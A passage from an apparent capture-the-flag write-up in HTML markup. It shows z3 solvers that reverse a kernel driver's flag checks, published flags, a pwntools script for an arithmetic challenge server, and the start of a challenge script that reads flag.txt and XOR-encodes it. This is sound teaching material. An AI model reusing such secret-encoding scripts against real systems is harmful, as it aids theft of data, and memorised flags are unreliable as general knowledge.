class=\"token punctuation\">]</span> <span class=\"token operator\">>=</span> <span class=\"token number\">0x21</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n        <span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">&lt;=</span> <span class=\"token number\">0x7e</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    s<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">12</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span><span class=\"token number\">12</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># buffer[i] += buffer[i + 1] * ~(_BYTE)i;</span>\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    s<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> flag<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">+</span> flag<span class=\"token punctuation\">[</span>i<span class=\"token operator\">+</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">~</span>i <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFF</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">)</span>\n\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span><span class=\"token number\">7</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x78</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span><span class=\"token number\">6</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x8C</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span><span class=\"token number\">5</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x88</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span><span class=\"token number\">4</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0xB9</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span><span class=\"token number\">3</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1D</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x88</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0xAF</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x0E</span><span class=\"token punctuation\">)</span>\n\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span><span class=\"token number\">11</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x7d</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span><span class=\"token number\">10</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0xf3</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span><span class=\"token number\">9</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x11</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span><span class=\"token number\">8</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0xec</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">if</span> s<span class=\"token punctuation\">.</span>check<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> sat<span class=\"token punctuation\">:</span>\n    m <span class=\"token operator\">=</span> s<span class=\"token punctuation\">.</span>model<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> flag<span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span>m<span class=\"token punctuation\">[</span>c<span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span>as_long<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>end<span class=\"token operator\">=</span><span class=\"token string\">\"\"</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>Running the above shows that the end of the Flag is <code class=\"language-text\">SEKAIPL@YER}</code>.</p>\n<p>Finally, let us look at the layer for the first half of the Flag.</p>\n<p>I could follow the implementation here, but I could not write the solver correctly during the contest, so I failed to solve it at the time (it seems I had misplaced some parentheses…).</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> a2 <span class=\"token operator\">==</span> <span class=\"token number\">28673</span> <span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> <span class=\"token operator\">!</span>layers<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">return</span> <span class=\"token number\">0LL</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> <span class=\"token operator\">!</span><span class=\"token function\">copy_from_user</span><span class=\"token punctuation\">(</span>buffer<span class=\"token punctuation\">,</span> a3<span class=\"token punctuation\">,</span> <span class=\"token number\">7LL</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n  buffer<span class=\"token punctuation\">[</span><span class=\"token number\">7</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n  v6 <span class=\"token operator\">=</span> buffer<span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> __int8<span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token operator\">*</span>v6 <span class=\"token operator\">-</span> <span class=\"token number\">48</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;=</span> <span class=\"token number\">9u</span> <span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> <span class=\"token operator\">&amp;</span>buffer<span class=\"token punctuation\">[</span><span class=\"token number\">7</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token operator\">++</span>v6 <span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n      v7 <span class=\"token operator\">=</span> <span class=\"token number\">7</span> <span class=\"token operator\">*</span> <span class=\"token function\">__ROL4__</span><span class=\"token punctuation\">(</span><span class=\"token number\">1507359807</span> <span class=\"token operator\">*</span> <span class=\"token function\">__ROR4__</span><span class=\"token punctuation\">(</span><span class=\"token number\">422871738</span> <span class=\"token operator\">*</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span>_DWORD <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>buffer<span class=\"token punctuation\">,</span> <span class=\"token number\">15</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      v8 <span class=\"token operator\">=</span> <span class=\"token function\">__ROR4__</span><span class=\"token punctuation\">(</span><span class=\"token number\">422871738</span> <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>buffer<span class=\"token punctuation\">[</span><span class=\"token number\">5</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> <span class=\"token punctuation\">(</span>buffer<span class=\"token punctuation\">[</span><span class=\"token number\">6</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> buffer<span class=\"token punctuation\">[</span><span class=\"token number\">4</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token number\">15</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      v9 <span class=\"token operator\">=</span> <span class=\"token number\">1984242169</span>\n         <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>v7 <span class=\"token operator\">+</span> <span class=\"token number\">1204333666</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1507359807</span> <span class=\"token operator\">*</span> v8<span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> <span class=\"token number\">7</span> <span class=\"token operator\">^</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>v7 <span class=\"token operator\">+</span> <span class=\"token number\">1204333666</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">int</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token number\">1507359807</span> <span class=\"token operator\">*</span> v8<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token operator\">-</span><span class=\"token number\">1817436554</span> <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>v9 <span class=\"token operator\">>></span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> v9<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">-</span><span class=\"token number\">1817436554</span> <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>v9 <span class=\"token operator\">>></span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> v9<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">!=</span> <span class=\"token number\">261736481</span> <span class=\"token punctuation\">)</span>\n        <span class=\"token keyword\">return</span> <span class=\"token number\">0LL</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">return</span> <span class=\"token function\">device_ioctl_cold</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">return</span> <span class=\"token number\">0LL</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">return</span> <span class=\"token operator\">-</span><span class=\"token number\">14LL</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>Implementation-wise, this compares the result of splitting the first 7 characters of the Flag into 4 bytes and 3 bytes and then applying several operations such as shifts, rotates, and multiplication.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token comment\"># Import modules</span>\n<span class=\"token keyword\">from</span> z3 <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\n<span class=\"token keyword\">from</span> pwn <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\n\n<span class=\"token comment\"># Create bit-vector variables</span>\nbuf <span class=\"token operator\">=</span> BitVec<span class=\"token punctuation\">(</span><span class=\"token string\">\"buf\"</span><span class=\"token punctuation\">,</span> <span class=\"token number\">32</span><span class=\"token punctuation\">)</span>\nbuf2 <span class=\"token operator\">=</span> BitVec<span class=\"token punctuation\">(</span><span class=\"token string\">\"buf2\"</span><span class=\"token punctuation\">,</span> <span class=\"token number\">32</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># Create a solver instance</span>\ns <span class=\"token operator\">=</span> Solver<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>buf2<span class=\"token operator\">>></span><span class=\"token number\">24</span> <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token comment\"># LShR(>>)</span>\n    s<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>LShR<span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">,</span><span class=\"token number\">8</span><span class=\"token operator\">*</span>i<span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFF</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>=</span> <span class=\"token number\">0x30</span><span class=\"token punctuation\">)</span>\n    s<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>LShR<span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">,</span><span class=\"token number\">8</span><span class=\"token operator\">*</span>i<span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFF</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;=</span> <span class=\"token number\">0x39</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token comment\"># LShR(>>)</span>\n    s<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>LShR<span class=\"token punctuation\">(</span>buf2<span class=\"token punctuation\">,</span><span class=\"token number\">8</span><span class=\"token operator\">*</span>i<span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFF</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>=</span> <span class=\"token number\">0x30</span><span class=\"token punctuation\">)</span>\n    s<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>LShR<span class=\"token punctuation\">(</span>buf2<span class=\"token punctuation\">,</span><span class=\"token number\">8</span><span class=\"token operator\">*</span>i<span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFF</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;=</span> <span class=\"token number\">0x39</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># def ror(a,b): return (LShR(a,b)|(a&lt;&lt;(32-b))) &amp; N # RotateRight</span>\n<span class=\"token comment\"># def rol(a,b): return ror(a,32-b) # RotateLeft</span>\n\n<span class=\"token comment\"># v7 = 7 * __ROL4__(1507359807 * __ROR4__(422871738 * *(_DWORD *)buffer, 15), 11);</span>\n<span class=\"token comment\"># v8 = __ROR4__(422871738 * ((buffer[5] &lt;&lt; 8) ^ (buffer[6] &lt;&lt; 16) ^ buffer[4]), 15);</span>\n<span class=\"token comment\"># v9 = 1984242169 * ((v7 + 1204333666) ^ (1507359807 * v8) ^ 7 ^ (((v7 + 1204333666) ^ (unsigned int)(1507359807 * v8)) >> 16));</span>\n<span class=\"token comment\"># if ( (((-1817436554 * ((v9 >> 13) ^ v9)) >> 16) ^ (-1817436554 * ((v9 >> 13) ^ v9))) != 261736481 )</span>\n\nN <span class=\"token operator\">=</span> <span class=\"token number\">0xFFFFFFFF</span>\na <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token number\">422871738</span> <span class=\"token operator\">*</span> buf<span class=\"token punctuation\">)</span>\na <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1507359807</span> <span class=\"token operator\">*</span> RotateRight<span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">,</span> <span class=\"token number\">15</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\nv7 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token number\">7</span> <span class=\"token operator\">*</span> RotateLeft<span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\nb <span class=\"token operator\">=</span> buf2\nv8 <span class=\"token operator\">=</span> RotateRight<span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token number\">422871738</span> <span class=\"token operator\">*</span> b<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token number\">15</span><span class=\"token punctuation\">)</span>\nv9 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1984242169</span> <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>v7 <span class=\"token operator\">+</span> <span class=\"token number\">1204333666</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1507359807</span> <span class=\"token operator\">*</span> v8<span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> <span class=\"token number\">7</span> <span class=\"token operator\">^</span> LShR<span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>v7 <span class=\"token operator\">+</span> <span class=\"token number\">1204333666</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1507359807</span> <span class=\"token operator\">*</span> v8<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>LShR<span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token operator\">-</span><span class=\"token number\">1817436554</span> <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span>LShR<span class=\"token punctuation\">(</span>v9<span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> v9<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">-</span><span class=\"token number\">1817436554</span> <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span>LShR<span class=\"token punctuation\">(</span>v9<span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> v9<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> <span class=\"token number\">0xF99C821</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># Search for a solution</span>\n<span class=\"token keyword\">if</span> s<span class=\"token punctuation\">.</span>check<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> sat<span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p32<span class=\"token punctuation\">(</span>s<span class=\"token punctuation\">.</span>model<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span>buf<span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span>as_long<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> p32<span class=\"token punctuation\">(</span>s<span class=\"token punctuation\">.</span>model<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span>buf2<span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span>as_long<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># SEKAI{6001337SEKAIPL@YER}</span></code></pre></div>\n<p>Because the result of running the above solver is <code class=\"language-text\">6001337</code>, I was able to determine that the final correct Flag is <code class=\"language-text\">SEKAI{6001337SEKAIPL@YER}</code>.</p>\n<h2 id=\"eval_meforensic\" style=\"position:relative;\"><a href=\"#eval_meforensic\" aria-label=\"eval_meforensic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Eval_Me(Forensic)</h2>\n<blockquote>\n<p>I was trying a beginner CTF challenge and successfully solved it. But it didn’t give me the flag. Luckily I have this network capture. Can you investigate?</p>\n</blockquote>\n<p>The challenge gives you a server that requires you to solve arithmetic problems within a fixed time limit, along with a pcap.</p>\n<p>First, after solving all of the arithmetic problems with the following solver, you can obtain a URL for downloading a file called <code class=\"language-text\">extract.sh</code>.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> pwn <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\n<span class=\"token keyword\">import</span> binascii\n<span class=\"token keyword\">import</span> time\n\np <span class=\"token operator\">=</span> remote<span class=\"token punctuation\">(</span><span class=\"token string\">\"chals.sekai.team\"</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9000</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">calc</span><span class=\"token punctuation\">(</span>arr<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    a <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>arr<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n    b <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>arr<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n    n <span class=\"token operator\">=</span> arr<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span>\n    <span class=\"token keyword\">if</span> n <span class=\"token operator\">==</span> <span class=\"token string\">\"+\"</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">return</span> a<span class=\"token operator\">+</span>b\n    <span class=\"token keyword\">if</span> n <span class=\"token operator\">==</span> <span class=\"token string\">\"-\"</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">return</span> a<span class=\"token operator\">-</span>b\n    <span class=\"token keyword\">if</span> n <span class=\"token operator\">==</span> <span class=\"token string\">\"*\"</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">return</span> a<span class=\"token operator\">*</span>b\n    <span class=\"token keyword\">if</span> n <span class=\"token operator\">==</span> <span class=\"token string\">\"/\"</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">return</span> a<span class=\"token operator\">/</span>b\n\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\ni <span class=\"token operator\">=</span> <span class=\"token number\">0</span>\n<span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>i <span class=\"token operator\">&lt;</span> <span class=\"token number\">99</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    r <span class=\"token operator\">=</span> p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">)</span>\n    r <span class=\"token operator\">=</span> r<span class=\"token punctuation\">.</span>decode<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>split<span class=\"token punctuation\">(</span><span class=\"token string\">\" \"</span><span class=\"token punctuation\">)</span>\n    p<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>\n        <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>calc<span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>encode<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    i <span class=\"token operator\">+=</span> <span class=\"token number\">1</span>\n\np<span class=\"token punctuation\">.</span>interactive<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p><code class=\"language-text\">extract.sh</code> was the following script.</p>\n<div class=\"gatsby-highlight\" data-language=\"sh\"><pre class=\"language-sh\"><code class=\"language-sh\">#!/bin/bash\n\nFLAG=$(cat flag.txt)\nKEY=&#39;s3k@1_v3ry_w0w&#39;\n\n\n# Credit: https://gist.github.com/kaloprominat/8b30cda1c163038e587cee3106547a46\nAsc() { printf &#39;%d&#39; &quot;&#39;$1&quot;; }\n\n\nXOREncrypt(){\n    local key=&quot;$1&quot; DataIn=&quot;$2&quot;\n    local ptr DataOut val1 val2 val3\n\n    for (( ptr=0; ptr &lt; ${#DataIn}; ptr++ )); do\n\n        val1=$( Asc &quot;${DataIn:$ptr:1}&quot; )\n        val2=$( Asc &quot;${key:$(( ptr % ${#key} )):1}&quot; )\n\n        val3=$(( val1 ^ val2 ))\n\n        DataOut+=$(printf &#39;%02x&#39; 